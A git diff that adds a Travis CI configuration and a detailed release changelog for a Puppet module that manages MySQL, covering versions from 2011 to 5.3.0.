+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml
@@ -0,0 +1,64 @@
+---
+sudo: false
+dist: trusty
+language: ruby
+cache: bundler
+before_install:
+ - bundle -v
+ - rm Gemfile.lock || true
+ - gem update --system
+ - gem --version
+ - bundle -v
+script:
+ - 'bundle exec rake $CHECK'
+bundler_args: --without system_tests
+rvm:
+ - 2.4.1
+ - 2.1.9
+env:
+ - PUPPET_GEM_VERSION="~> 4.0" CHECK=spec
+ - PUPPET_GEM_VERSION="~> 5.0" CHECK=spec
+matrix:
+ fast_finish: true
+ include:
+ -
+ bundler_args:
+ dist: trusty
+ env: PUPPET_INSTALL_TYPE=agent BEAKER_debug=true BEAKER_set=docker/centos-7
+ rvm: 2.4.1
+ script: bundle exec rake beaker
+ services: docker
+ sudo: required
+ -
+ bundler_args:
+ dist: trusty
+ env: PUPPET_INSTALL_TYPE=agent BEAKER_debug=true BEAKER_set=docker/ubuntu-14.04
+ rvm: 2.4.1
+ script: bundle exec rake beaker
+ services: docker
+ sudo: required
+ -
+ env: CHECK=rubocop
+ -
+ env: CHECK="syntax lint"
+ -
+ env: CHECK=metadata_lint
+ -
+ rvm: 2.1.9
+ script: "bundle exec rake release_checks"
+branches:
+ only:
+ - master
+ - /^v\d/
+ - release
+notifications:
+ email: false
+deploy:
+ provider: puppetforge
+ user: puppet
+ password:
+ secure: ""
+ on:
+ tags: true
+ all_branches: true
+ condition: "$DEPLOY_TO_FORGE = yes"
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md
new file mode 100644
index 000000000..5e9f85f23
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/CHANGELOG.md
@@ -0,0 +1,885 @@
+# Change log
+
+All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
+and this project adheres to [Semantic Versioning](http://semver.org).
+
+## Supported Release [5.3.0]
+### Summary
+This release uses the PDK convert functionality which in return makes the module PDK compliant. It also includes a roll up of maintenance changes, a new task and support for `GRANTS FUNCTION`.
+
+### Added
+- Add support for `GRANTS FUNCTION` ([MODULES-2075](https://tickets.puppet.com/browse/MODULES-2075)).
+- Add Export database task.
+- PDK Convert mysql ([MODULES-6454](https://tickets.puppet.com/browse/MODULES-6454)).
+
+### Changed
+- Allow authentication plugin to be changed.
+- Update mysql_user provider.
+- Plugins don't exist before 5.5; password field name changed
+- Fix helpful rubocops and disable hurtful cops.
+- Addressing puppet-lint and rubocop errors
+- Remove update bundler and add ignore .DS_Store
+- Skip rubocop warning in task.
+- Fix a typo in a classname in the changelog.
+
+## Supported Release [5.2.1]
+### Summary
+This release fixes CVE-2018-6508 which is a potential arbitrary code execution via tasks.
+
+### Fixed
+- Fix export and mysql tasks for arbitrary remote code
+
+## Supported Release [5.2.0]
+
+### Added
+- Compatibility for puppet-staging 3.0.0
+
+### Fixed
+- Centralize all mysql command calls for providers
+- Add paths to `mysql_datadir` provider for RedHat Software Collections
+
+## Supported Release [5.1.0]
+### Summary
+This release adds Tasks to the Mysql module.
+
+#### Added
+- Adds the execute sql task.
+
+## Supported Release [5.0.0]
+### Summary
+This is a major release that adds support for string translation. Currently the only supported language besides
+English is Japanese.
+
+#### Added
+- Several gem dependencies required for translation.
+- Wrapping of strings that require translation. Strings in ruby code are now wrapped with `_()` and strings in puppet code with `translate()`.
+- Debian 9 support
+
+#### Changed
+- The default php_package_name for Debian and Ubuntu to `php-mysql`
+
+## Supported Release 4.0.1
+### Summary
+This is a small bugfix release that makes `mysql_install_db` optional and fixes some regular expression issues.
+
+#### Bugfixes
+- ([MODULES-5528](https://tickets.puppet.com/browse/MODULES-5528)) Fixes the `mysql_install_db` command so that it is optional
+- ([MODULES-5602](https://tickets.puppet.com/browse/MODULES-5602)) Removes superfluous backslashes in some regular expressions that were causing instability
+
+## Supported Release 4.0.0
+### Summary
+This release sees the enablement of rubocop, also an update to the lib directory with rubocop fixes and several other changes and fixes. Also a bump to the Puppet version compatibility and several Puppet language updates.
+
+#### Added
+- Updated README.md with example how to install MySQL Community Server 5.6 on Centos 7.3
+- Enabled Rubocop and addition of Rubocop fixes for /lib directory.
+
+#### Removed
+- Dropped legacy tests for db.pp.
+
+#### Changed
+- Replaced validate function calls with datatypes in db.pp.
+- Bumped recommended puppet version to between 4.7.0 and 6.0.0.
+- Conditionalize name validation in mysql_grant type. ([MODULES-4604](https://tickets.puppet.com/browse/MODULES-4604))
+
+#### Fixed
+- Removal of invalid parameter provider on Mysql_user[user@localhost] in mysql::db ([MODULES-4115](https://tickets.puppet.com/browse/MODULES-4115))
+- Fixed server_service_name for Debian/stretch.
+- Spec fixes for Puppet 5.
+- Test update for fix:create procedure, then grant ([MODULES-5390](https://tickets.puppet.com/browse/MODULES-5390))
+- Fixing empty user/password issue for xtrabackup. Now defaults as undef instead of ''.
+- Remove unsupported Ubuntu versions ([MODULES-5501](https://tickets.puppet.com/browse/MODULES-5501))
+
+## Supported Release 3.11.0
+### Summary
+This release includes README and metadata translations to Japanese, as well as some enhancements and bugfixes.
+
+#### Added
+- New flag for successful backups
+- Solaris support improvements
+- New parameter `optional_args` for extra innobackupex options
+- Specify environment variables (e.g. https_proxy) for MySQLTuner download.
+- Check to only install bzip2 if `$backupcompress` is `true`
+- Debian 9 compatibility
+- Japanese README
+
+#### Fixed
+- Syntax errors
+- Bug where error logs were being created before the datadir was initialized (MODULES-4743)
+
+## Supported Release 3.10.0
+### Summary
+This release includes new features for setting TLS options on a mysql user, a new parameter to allow specifying tool to import sql files, as well as various bugfixes.
+
+#### Features
+- (MODULES-3879) Adds `import_cat_cmd` parameter to specify the command to read sql files
+- Adds support for setting `tls_options` in `mysql_user`
+
+#### Bugfixes
+- (MODULES-3557) Adds Ubuntu 16.04 package names for language bindings
+- (MODULES-3907) Adds MySQL/Percona 5.7 initialize on fresh deploy
+
+## Supported Release 3.9.0
+### Summary
+This release adds Percona 5.7 support and compatibility with Ubuntu 16.04, in addition to various bugfixes.
+
+#### Features
+- (MODULES-3441) Adds the `mysqld_version` fact
+- (MODULES-3513) Adds a new backup dump parameter `maxallowedpacket`
+- Adds new parameter `xtrabackup_package_name` to `mysql::backup::xtrabackup` class
+- Adds ability to revoke GRANT privilege
+
+#### Bugfixes
+- Fixes a bug where `mysql_user` fails if facter cannot retrieve fqdn.
+- Fix global parameter usage in backup script
+- Adds support for `puppet-staging` version `2.0.0`
+- (MODULES-3601) Moves binary logging configuration to take place after package install
+- (MODULES-3711) Add limit to mysql server ID generated value
+- (MODULES-3698) Fixes defaults for SLES12
+- Updates user name length restrictions for MySQL version 5.7.8 and above.
+- Fixes a bug where error log is not writable by owner
+
+## Supported Release 3.8.0
+### Summary
+This release adds Percona 5.7 support and compatibility with Ubuntu 16.04, in addition to various bugfixes.
+
+#### Features
+- Adds support for Percona 5.7
+- Adds support for Ubuntu 16.04 (Xenial)
+
+#### Known Limitations
+- The mysqlbackup.sh script will not work on MySQL 5.7.0 and up.
+
+#### Bugfixes
+- Use mysql_install_db only with uniq defaults-extra-file
+- Updates mysqlbackup.sh to ensure backup directory exist
+- Loosen MariaDB recognition to fix it on Debian 8
+- Allow mysql::backup::mysqldump to access root_group in tests
+- Fixed problem with ignoring parameters from global configs
+- Fixes ordering issue that initialized mysqld before config is set
+- (MODULES-1256) Fix parameters on OpenSUSE 12
+- Fixes install errors on Debian-based OS by configuring the base of includedir
+- Configure the configfile location for mariadb
+- Default mysqld_type return value should be 'mysql' if another type is not detected
+- Make sure that bzip2 is installed before setting up the cron tab job using mysqlbackup.sh
+- Fixes path issue on FreeBSD
+- Check that /var/lib/mysql actually contains files
+- Removes mysql regex when checking type
+- (MODULES-2111) Add the system database to user related actions
+- Updates default group for logfiles on Debian-based OS to 'adm'
+- Fixes an issue with Amazon linux major release 4 installation
+- Fixes 'mysql_install_db' script support on Gentoo
+- Removes erroneous anchors to mysql::client from mysql::db
+- Adds path to be able to find MySQL 5.5 installation on CentOS
+
+## Supported Release 3.7.0
+### Summary
+
+A large release with several new features. Also includes a considerable amount of bugfixes, many around compatibility and improvements to current functionality.
+
+#### Features
+
+- Now uses mariadb in OpenSuSE >= 13.1.
+- Switch to rspec-puppet-facts.
+- Additional function to check if table exists before grant.
+- Add ability to input password hash directly.
+- Now checking major release instead of specific release.
+- Debian 8 support.
+
+#### Bugfixes
+
+- Minor doc update.
+- Fixes improper use of function `warn` in backup manifest of server.
+- Fixes to Compatibility with PE 3.3.
+- Fixes `when not managing config file` in `mysql_server_spec`.
+- Improved user validation and munging.
+- Fixes fetching the mysql_user password for MySQL >=5.7.6.
+- Fixes unique server_id within my.cnf, the issue were the entire mac address was not being read in to generate the id.
+- Corrects the daemon_dev_package_name for mariadb on redhat.
+- Fix version compare to properly suppress show_diff for root password.
+- Fixes to ensure compatibility with future parser.
+- Solaris removed from PE in metadata as its not supported.
+- Use MYSQL_PWD to avoid mysqldump warnings.
+- Use temp cnf file instead of env variable which creates acceptance test failures.
+- No longer hash passwords that are already hashed.
+- Fix Gemfile to work with ruby 1.8.7.
+- Fixed MySQL 5.7.6++ compatibility.
+- Fixing error when disabling service management and the service does not exist.
+- Ubuntu vivid should use systemd not upstart.
+- Fixed new mysql_datadir provider on CentOS for MySQl 5.7.6 compatibility.
+- Ensure if service restart to wait till mysql is up.
+- Move all dependencies to not have them in case of service unmanaged.
+- Re-Added the ability to set a empty string as option parameter.
+- Fixes edge-case with dropping pre-existing users with grants.
+- Fix logic for choosing rspec version.
+- Refactored main acceptance suite.
+- Skip idempotency tests on test cells that do have PUP-5016 unfixed.
+- Fix tmpdir to be shared across examples.
+- Update to current msync configs [006831f].
+- Fix mysql_grant with MySQL ANSI_QUOTES mode.
+- Generate .my.cnf for all sections.
+
+## Supported Release 3.6.2
+### Summary
+
+Small release for support of newer PE versions. This increments the version of PE in the metadata.json file.
+
+## 2015-09-22 - Supported Release 3.6.1
+### Summary
+This is a security and bugfix release that fixes incorrect username truncation in the munge for the mysql_user type, incorrect function used in `mysql::server::backup` and fixes compatibility issues with PE 3.3.x.
+
+#### Bugfixes
+- Loosen the regex in mysql_user munging so the username is not unintentionally truncated.
+- Use `warning()` not `warn()`
+- Metadata had inadvertantly dropped 3.3.x support
+- Some 3.3.x compatibility issues in `mysqltuner` were corrected
+
+## 2015-08-10 - Supported Release 3.6.0
+### Summary
+This release adds the ability to use mysql::db and `mysql_*` types against unmanaged or external mysql instances.
+
+#### Features
+- Add ability to use mysql::db WITHOUT mysql::server (ie, externally)
+- Add prescript attribute to mysql::server::backup for xtrabackup
+- Add postscript ability to xtrabackup provider.
+
+#### Bugfixes
+- Fix default root passwords blocking puppet on mysql 5.8
+- Fix service dependency when package_manage is false
+- Fix selinux permissions on my.cnf
+
+## 2015-07-23 - Supported Release 3.5.0
+### Summary
+A small release to add explicit support to newer Puppet versions and accumulated patches.
+
+#### Features/Improvements
+- Start running tests against puppet 4
+- Support longer usernames on newer MariaDB versions
+- Add parameters for Solaris 11 and 12
+
+#### Bugfixes
+- Fix references to the mysql-server package
+- mysql_server_id doesn't throw and error on machines without macaddress
+
+## 2015-05-19 - Supported Release 3.4.0
+### Summary
+This release includes the addition of extra facts, OpenBSD compatibility, and a number of other features, improvements and bug fixes.
+
+#### Features/Improvements
+- Added server_id fact which includes mac address for better uniqueness
+- Added OpenBSD compatibility, only for 'OpenBSD -current' (due to the recent switch to mariadb)
+- Added a $mysql_group parameter, and use that instead of the $root_group parameter to define the group membership of the mysql error log file.
+- Updated tests for rspec-puppet 2 and future parser
+- Further acceptance testing improvements
+- MODULES-1928 - allow log-error to be undef
+- Split package installation and database install
+- README wording improvements
+- Added options for including/excluding triggers and routines
+- Made the 'TRIGGER' privilege of mysqldump backups depend on whether or not we are actually backing up triggers
+- Cleaned up the privilege assignment in the mysqldump backup script
+- Add a fact for capturing the mysql version installed
+
+#### Bugfixes
+- mysql backup: fix regression in mysql_user call
+- Set service_ensure to undef, in the case of an unmanaged service
+- README Typos fixed
+- Bugfix on Xtrabackup crons
+- Fixed a permission problem that was preventing triggers from being backed up
+- MODULES-1981: Revoke and grant difference of old and new privileges
+- Fix an issue were we assume triggers work
+- Change default for mysql::server::backup to ignore_triggers = false
+
+#### Deprecations
+mysql::server::old_root_password property
+
+## 2015-03-03 - Supported Release 3.3.0
+### Summary
+This release includes major README updates, the addition of backup providers, and a fix for managing the log-bin directory.
+
+#### Features
+- Add package_manage parameters to `mysql::server` and `mysql::client` (MODULES-1143)
+- README improvements
+- Add `mysqldump`, `mysqlbackup`, and `xtrabackup` backup providers.
+
+#### Bugfixes
+- log-error overrides were not being properly used (MODULES-1804)
+- check for full path for log-bin to stop puppet from managing file '.'
+
+## 2015-02-09 - Supported Release 3.2.0
+### Summary
+This release includes several new features and bugfixes, including support for various plugins, making the output from mysql_password more consistent when input is empty and improved username validation.
+
+#### Features
+- Add type and provider to manage plugins
+- Add support for authentication plugins
+- Add support for mysql_install_db on freebsd
+- Add `create_root_user` and `create_root_my_cnf` parameters to `mysql::server`
+
+#### Bugfixes
+- Remove dependency on stdlib >= 4.1.0 (MODULES-1759)
+- Make grant autorequire user
+- Remove invalid parameter 'provider' from mysql_user instance (MODULES-1731)
+- Return empty string for empty input in mysql_password
+- Fix `mysql::account_security` when fqdn==localhost
+- Update username validation (MODULES-1520)
+- Future parser fix in params.pp
+- Fix package name for debian 8
+- Don't start the service until the server package is installed and the config file is in place
+- Test fixes
+- Lint fixes
+
+## 2014-12-16 - Supported Release 3.1.0
+### Summary
+
+This release includes several new features, including SLES12 support, and a number of bug fixes.
+
+#### Notes
+
+`mysql::server::mysqltuner` has been refactored to fetch the mysqltuner script from github by default. If you are running on a non-network-connected system, you will need to download that file and have it available to your node at a path specified by the `source` parameter to the `mysqltuner` class.
+
+#### Features
+- Add support for install_options for all package resources (MODULES-1484)
+- Add log-bin directory creation
+- Allow mysql::db to import multiple files (MODULES-1338)
+- SLES12 support
+- Improved identifier quoting detections
+- Reworked `mysql::server::mysqltuner` so that we are no longer packaging the script as it is licensed under the GPL.
+
+#### Bugfixes
+- Fix regression in username validation
+- Proper containment for mysql::client in mysql::db
+- Support quoted usernames of length 15 and 16 chars
+
+## 2014-11-11 - Supported Release 3.0.0
+### Summary
+
+Added several new features including MariaDB support and future parser
+
+#### Backwards-incompatible Changes
+* Remove the deprecated `database`, `database_user`, and `database_grant` resources. The correct resources to use are `mysql`, `mysql_user`, and `mysql_grant` respectively.
+
+#### Features
+* Add MariaDB Support
+* The mysqltuner perl script has been updated to 1.3.0 based on work at http://github.com/major/MySQLTuner-perl
+* Add future parse support, fixed issues with undef to empty string
+* Pass the backup credentials to 'SHOW DATABASES'
+* Ability to specify the Includedir for `mysql::server`
+* `mysql::db` now has an import\_timeout feature that defaults to 300
+* The `mysql` class has been removed
+* `mysql::server` now takes an `override_options` hash that will affect the installation
+* Ability to install both dev and client dev
+
+#### BugFix
+* `mysql::server::backup` now passes `ensure` param to the nested `mysql_grant`
+* `mysql::server::service` now properly requires the presence of the `log_error` file
+* `mysql::config` now occurs before `mysql::server::install_db` correctly
+
+## 2014-07-15 - Supported Release 2.3.1
+### Summary
+
+This release merely updates metadata.json so the module can be uninstalled and
+upgraded via the puppet module command.
+
+## 2014-05-14 - Supported Release 2.3.0
+
+This release primarily adds support for RHEL7 and Ubuntu 14.04 but it
+also adds a couple of new parameters to allow for further customization,
+as well as ensuring backups can backup stored procedures properly.
+
+#### Features
+Added `execpath` to allow a custom executable path for non-standard mysql installations.
+Added `dbname` to mysql::db and use ensure_resource to create the resource.
+Added support for RHEL7 and Fedora Rawhide.
+Added support for Ubuntu 14.04.
+Create a warning for if you disable SSL.
+Ensure the error logfile is owned by MySQL.
+Disable ssl on FreeBSD.
+Add PROCESS privilege for backups.
+
+#### Bugfixes
+
+#### Known Bugs
+* No known bugs
+
+## 2014-03-04 - Supported Release 2.2.3
+### Summary
+
+This is a supported release. This release removes a testing symlink that can
+cause trouble on systems where /var is on a seperate filesystem from the
+modulepath.
+
+#### Features
+#### Bugfixes
+#### Known Bugs
+* No known bugs
+
+## 2014-03-04 - Supported Release 2.2.2
+### Summary
+This is a supported release. Mostly comprised of enhanced testing, plus a
+bugfix for Suse.
+
+#### Bugfixes
+- PHP bindings on Suse
+- Test fixes
+
+#### Known Bugs
+* No known bugs
+
+## 2014-02-19 - Version 2.2.1
+
+### Summary
+
+Minor release that repairs mysql_database{} so that it sees the correct
+collation settings (it was only checking the global mysql ones, not the
+actual database and constantly setting it over and over since January 22nd).
+
+Also fixes a bunch of tests on various platforms.
+
+
+## 2014-02-13 - Version 2.2.0
+
+### Summary
+
+#### Features
+- Add `backupdirmode`, `backupdirowner`, `backupdirgroup` to
+ mysql::server::backup to allow customizing the mysqlbackupdir.
+- Support multiple options of the same name, allowing you to
+ do 'replicate-do-db' => ['base1', 'base2', 'base3'] in order to get three
+ lines of replicate-do-db = base1, replicate-do-db = base2 etc.
+
+#### Bugfixes
+- Fix `restart` so it actually stops mysql restarting if set to false.
+- DRY out the defaults_file functionality in the providers.
+- mysql_grant fixed to work with root@localhost/@.
+- mysql_grant fixed for WITH MAX_QUERIES_PER_HOUR
+- mysql_grant fixed so revoking all privileges accounts for GRANT OPTION
+- mysql_grant fixed to remove duplicate privileges.
+- mysql_grant fixed to handle PROCEDURES when removing privileges.
+- mysql_database won't try to create existing databases, breaking replication.
+- bind_address renamed bind-address in 'mysqld' options.
+- key_buffer renamed to key_buffer_size.
+- log_error renamed to log-error.
+- pid_file renamed to pid-file.
+- Ensure mysql::server::root_password runs before mysql::server::backup
+- Fix options_override -> override_options in the README.
+- Extensively rewrite the README to be accurate and awesome.
+- Move to requiring stdlib 3.2.0, shipped in PE3.0
+- Add many new tests.
+
+
+## 2013-11-13 - Version 2.1.0
+
+### Summary
+
+The most important changes in 2.1.0 are improvements to the my.cnf creation,
+as well as providers. Setting options to = true strips them to be just the
+key name itself, which is required for some options.
+
+The provider updates fix a number of bugs, from lowercase privileges to
+deprecation warnings.
+
+Last, the new hiera integration functionality should make it easier to
+externalize all your grants, users, and, databases. Another great set of
+community submissions helped to make this release.
+
+#### Features
+- Some options can not take a argument. Gets rid of the '= true' when an
+option is set to true.
+- Easier hiera integration: Add hash parameters to mysql::server to allow
+specifying grants, users, and databases.
+
+#### Bugfixes
+- Fix an issue with lowercase privileges in mysql_grant{} causing them to be reapplied needlessly.
+- Changed defaults-file to defaults-extra-file in providers.
+- Ensure /root/.my.cnf is 0600 and root owned.
+- database_user deprecation warning was incorrect.
+- Add anchor pattern for client.pp
+- Documentation improvements.
+- Various test fixes.
+
+
+## 2013-10-21 - Version 2.0.1
+
+### Summary
+
+This is a bugfix release to handle an issue where unsorted mysql_grant{}
+privileges could cause Puppet to incorrectly reapply the permissions on
+each run.
+
+#### Bugfixes
+- Mysql_grant now sorts privileges in the type and provider for comparison.
+- Comment and test tweak for PE3.1.
+
+
+## 2013-10-14 - Version 2.0.0
+
+### Summary
+
+(Previously detailed in the changelog for 2.0.0-rc1)
+
+This module has been completely refactored and works significantly different.
+The changes are broad and touch almost every piece of the module.
+
+See the README.md for full details of all changes and syntax.
+Please remain on 1.0.0 if you don't have time to fully test this in dev.
+
+* mysql::server, mysql::client, and mysql::bindings are the primary interface
+classes.
+* mysql::server takes an `override_options` parameter to set my.cnf options,
+with the hash format: { 'section' => { 'thing' => 'value' }}
+* mysql attempts backwards compatibility by forwarding all parameters to
+mysql::server.
+
+
+## 2013-10-09 - Version 2.0.0-rc5
+
+### Summary
+
+Hopefully the final rc! Further fixes to mysql_grant (stripping out the
+cleverness so we match a much wider range of input.)
+
+#### Bugfixes
+- Make mysql_grant accept '.*'@'.*' in terms of input for user@host.
+
+
+## 2013-10-09 - Version 2.0.0-rc4
+
+### Summary
+
+Bugfixes to mysql_grant and mysql_user form the bulk of this rc, as well as
+ensuring that values in the override_options hash that contain a value of ''
+are created as just "key" in the conf rather than "key =" or "key = false".
+
+#### Bugfixes
+- Improve mysql_grant to work with IPv6 addresses (both long and short).
+- Ensure @host users work as well as user@host users.
+- Updated my.cnf template to support items with no values.
+
+
+## 2013-10-07 - Version 2.0.0-rc3
+
+### Summary
+Fix mysql::server::monitor's use of mysql_user{}.
+
+#### Bugfixes
+- Fix myql::server::monitor's use of mysql_user{} to grant the proper
+permissions. Add specs as well. (Thanks to treydock!)
+
+
+## 2013-10-03 - Version 2.0.0-rc2
+
+### Summary
+Bugfixes
+
+#### Bugfixes
+- Fix a duplicate parameter in mysql::server
+
+
+## 2013-10-03 - Version 2.0.0-rc1
+
+### Summary
+
+This module has been completely refactored and works significantly different.
+The changes are broad and touch almost every piece of the module.
+
+See the README.md for full details of all changes and syntax.
+Please remain on 1.0.0 if you don't have time to fully test this in dev.
+
+* mysql::server, mysql::client, and mysql::bindings are the primary interface
+classes.
+* mysql::server takes an `override_options` parameter to set my.cnf options,
+with the hash format: { 'section' => { 'thing' => 'value' }}
+* mysql attempts backwards compatibility by forwarding all parameters to
+mysql::server.
+
+---
+## 2013-09-23 - Version 1.0.0
+
+### Summary
+
+This release introduces a number of new type/providers, to eventually
+replace the database_ ones. The module has been converted to call the
+new providers rather than the previous ones as they have a number of
+fixes, additional options, and work with puppet resource.
+
+This 1.0.0 release precedes a large refactoring that will be released
+almost immediately after as 2.0.0.
+
+#### Features
+- Added mysql_grant, mysql_database, and mysql_user.
+- Add `mysql::bindings` class and refactor all other bindings to be contained underneath mysql::bindings:: namespace.
+- Added support to back up specified databases only with 'mysqlbackup' parameter.
+- Add option to mysql::backup to set the backup script to perform a mysqldump on each database to its own file
+
+#### Bugfixes
+- Update my.cnf.pass.erb to allow custom socket support
+- Add environment variable for .my.cnf in mysql::db.
+- Add HOME environment variable for .my.cnf to mysqladmin command when
+(re)setting root password
+
+---
+## 2013-07-15 - Version 0.9.0
+#### Features
+- Add `mysql::backup::backuprotate` parameter
+- Add `mysql::backup::delete_before_dump` parameter
+- Add `max_user_connections` attribute to `database_user` type
+
+#### Bugfixes
+- Add client package dependency for `mysql::db`
+- Remove duplicate `expire_logs_days` and `max_binlog_size` settings
+- Make root's `.my.cnf` file path dynamic
+- Update pidfile path for Suse variants
+- Fixes for lint
+
+## 2013-07-05 - Version 0.8.1
+#### Bugfixes
+ - Fix a typo in the Fedora 19 support.
+
+## 2013-07-01 - Version 0.8.0
+#### Features
+ - mysql::perl class to install perl-DBD-mysql.
+ - minor improvements to the providers to improve reliability
+ - Install the MariaDB packages on Fedora 19 instead of MySQL.
+ - Add new `mysql` class parameters:
+ - `max_connections`: The maximum number of allowed connections.
+ - `manage_config_file`: Opt out of puppetized control of my.cnf.
+ - `ft_min_word_len`: Fine tune the full text search.
+ - `ft_max_word_len`: Fine tune the full text search.
+ - Add new `mysql` class performance tuning parameters:
+ - `key_buffer`
+ - `thread_stack`
+ - `thread_cache_size`
+ - `myisam-recover`
+ - `query_cache_limit`
+ - `query_cache_size`
+ - `max_connections`
+ - `tmp_table_size`
+ - `table_open_cache`
+ - `long_query_time`
+ - Add new `mysql` class replication parameters:
+ - `server_id`
+ - `sql_log_bin`
+ - `log_bin`
+ - `max_binlog_size`
+ - `binlog_do_db`
+ - `expire_logs_days`
+ - `log_bin_trust_function_creators`
+ - `replicate_ignore_table`
+ - `replicate_wild_do_table`
+ - `replicate_wild_ignore_table`
+ - `expire_logs_days`
+ - `max_binlog_size`
+
+#### Bugfixes
+ - No longer restart MySQL when /root/.my.cnf changes.
+ - Ensure mysql::config runs before any mysql::db defines.
+
+## 2013-06-26 - Version 0.7.1
+#### Bugfixes
+- Single-quote password for special characters
+- Update travis testing for puppet 3.2.x and missing Bundler gems
+
+## 2013-06-25 - Version 0.7.0
+This is a maintenance release for community bugfixes and exposing
+configuration variables.
+
+* Add new `mysql` class parameters:
+ - `basedir`: The base directory mysql uses
+ - `bind_address`: The IP mysql binds to
+ - `client_package_name`: The name of the mysql client package
+ - `config_file`: The location of the server config file
+ - `config_template`: The template to use to generate my.cnf
+ - `datadir`: The directory MySQL's datafiles are stored
+ - `default_engine`: The default engine to use for tables
+ - `etc_root_password`: Whether or not to add the mysql root password to
+ /etc/my.cnf
+ - `java_package_name`: The name of the java package containing the java
+ connector
+ - `log_error`: Where to log errors
+ - `manage_service`: Boolean dictating if mysql::server should manage the
+ service
+ - `max_allowed_packet`: Maximum network packet size mysqld will accept
+ - `old_root_password`: Previous root user password
+ - `php_package_name`: The name of the phpmysql package to install
+ - `pidfile`: The location mysql will expect the pidfile to be
+ - `port`: The port mysql listens on
+ - `purge_conf_dir`: Value fed to recurse and purge parameters of the
+ /etc/mysql/conf.d resource
+ - `python_package_name`: The name of the python mysql package to install
+ - `restart`: Whether to restart mysqld
+ - `root_group`: Use specified group for root-owned files
+ - `root_password`: The root MySQL password to use
+ - `ruby_package_name`: The name of the ruby mysql package to install
+ - `ruby_package_provider`: The installation suite to use when installing the
+ ruby package
+ - `server_package_name`: The name of the server package to install
+ - `service_name`: The name of the service to start
+ - `service_provider`: The name of the service provider
+ - `socket`: The location of the MySQL server socket file
+ - `ssl_ca`: The location of the SSL CA Cert
+ - `ssl_cert`: The location of the SSL Certificate to use
+ - `ssl_key`: The SSL key to use
+ - `ssl`: Whether or not to enable ssl
+ - `tmpdir`: The directory MySQL's tmpfiles are stored
+* Deprecate `mysql::package_name` parameter in favor of
+`mysql::client_package_name`
+* Fix local variable template deprecation
+* Fix dependency ordering in `mysql::db`
+* Fix ANSI quoting in queries
+* Fix travis support (but still messy)
+* Fix typos
+
+## 2013-01-11 - Version 0.6.1
+* Fix providers when /root/.my.cnf is absent
+
+## 2013-01-09 - Version 0.6.0
+* Add `mysql::server::config` define for specific config directives
+* Add `mysql::php` class for php support
+* Add `backupcompress` parameter to `mysql::backup`
+* Add `restart` parameter to `mysql::config`
+* Add `purge_conf_dir` parameter to `mysql::config`
+* Add `manage_service` parameter to `mysql::server`
+* Add syslog logging support via the `log_error` parameter
+* Add initial SuSE support
+* Fix remove non-localhost root user when fqdn != hostname
+* Fix dependency in `mysql::server::monitor`
+* Fix .my.cnf path for root user and root password
+* Fix ipv6 support for users
+* Fix / update various spec tests
+* Fix typos
+* Fix lint warnings
+
+## 2012-08-23 - Version 0.5.0
+* Add puppetlabs/stdlib as requirement
+* Add validation for mysql privs in provider
+* Add `pidfile` parameter to mysql::config
+* Add `ensure` parameter to mysql::db
+* Add Amazon linux support
+* Change `bind_address` parameter to be optional in my.cnf template
+* Fix quoting root passwords
+
+## 2012-07-24 - Version 0.4.0
+* Fix various bugs regarding database names
+* FreeBSD support
+* Allow specifying the storage engine
+* Add a backup class
+* Add a security class to purge default accounts
+
+## 2012-05-03 - Version 0.3.0
+* 14218 Query the database for available privileges
+* Add mysql::java class for java connector installation
+* Use correct error log location on different distros
+* Fix set_mysql_rootpw to properly depend on my.cnf
+
+## 2012-04-11 - Version 0.2.0
+
+## 2012-03-19 - William Van Hevelingen
+* (#13203) Add ssl support (f7e0ea5)
+
+## 2012-03-18 - Nan Liu
+* Travis ci before script needs success exit code. (0ea463b)
+
+## 2012-03-18 - Nan Liu
+* Fix Puppet 2.6 compilation issues. (9ebbbc4)
+
+## 2012-03-16 - Nan Liu
+* Add travis.ci for testing multiple puppet versions. (33c72ef)
+
+## 2012-03-15 - William Van Hevelingen
+* (#13163) Datadir should be configurable (f353fc6)
+
+## 2012-03-16 - Nan Liu
+* Document create_resources dependency. (558a59c)
+
+## 2012-03-16 - Nan Liu
+* Fix spec test issues related to error message. (eff79b5)
+
+## 2012-03-16 - Nan Liu
+* Fix mysql service on Ubuntu. (72da2c5)
+
+## 2012-03-16 - Dan Bode
+* Add more spec test coverage (55e399d)
+
+## 2012-03-16 - Nan Liu
+* (#11963) Fix spec test due to path changes. (1700349)
+
+## 2012-03-07 - François Charlier
+* Add a test to check path for 'mysqld-restart' (b14c7d1)
+
+## 2012-03-07 - François Charlier
+* Fix path for 'mysqld-restart' (1a9ae6b)
+
+## 2012-03-15 - Dan Bode
+* Add rspec-puppet tests for mysql::config (907331a)
+
+## 2012-03-15 - Dan Bode
+* Moved class dependency between sever and config to server (da62ad6)
+
+## 2012-03-14 - Dan Bode
+* Notify mysql restart from set_mysql_rootpw exec (0832a2c)
+
+## 2012-03-15 - Nan Liu
+* Add documentation related to osfamily fact. (8265d28)
+
+## 2012-03-14 - Dan Bode
+* Mention osfamily value in failure message (e472d3b)
+
+## 2012-03-14 - Dan Bode
+* Fix bug when querying for all database users (015490c)
+
+## 2012-02-09 - Nan Liu
+* Major refactor of mysql module. (b1f90fd)
+
+## 2012-01-11 - Justin Ellison
+* Ruby and Python's MySQL libraries are named differently on different distros. (1e926b4)
+
+## 2012-01-11 - Justin Ellison
+* Per @ghoneycutt, we should fail explicitly and explain why. (09af083)
+
+## 2012-01-11 - Justin Ellison
+* Removing duplicate declaration (7513d03)
+
+## 2012-01-10 - Justin Ellison
+* Use socket value from params class instead of hardcoding. (663e97c)
+
+## 2012-01-10 - Justin Ellison
+* Instead of hardcoding the config file target, pull it from mysql::params (031a47d)
+
+## 2012-01-10 - Justin Ellison
+* Moved $socket to within the case to toggle between distros. Added a $config_file variable to allow per-distro config file destinations. (360eacd)
+
+## 2012-01-10 - Justin Ellison
+* Pretty sure this is a bug, 99% of Linux distros out there won't ever hit the default. (3462e6b)
+
+## 2012-02-09 - William Van Hevelingen
+* Changed the README to use markdown (3b7dfeb)
+
+## 2012-02-04 - Daniel Black
+* (#12412) mysqltuner.pl update (b809e6f)
+
+## 2011-11-17 - Matthias Pigulla
+* (#11363) Add two missing privileges to grant: event_priv, trigger_priv (d15c9d1)
+
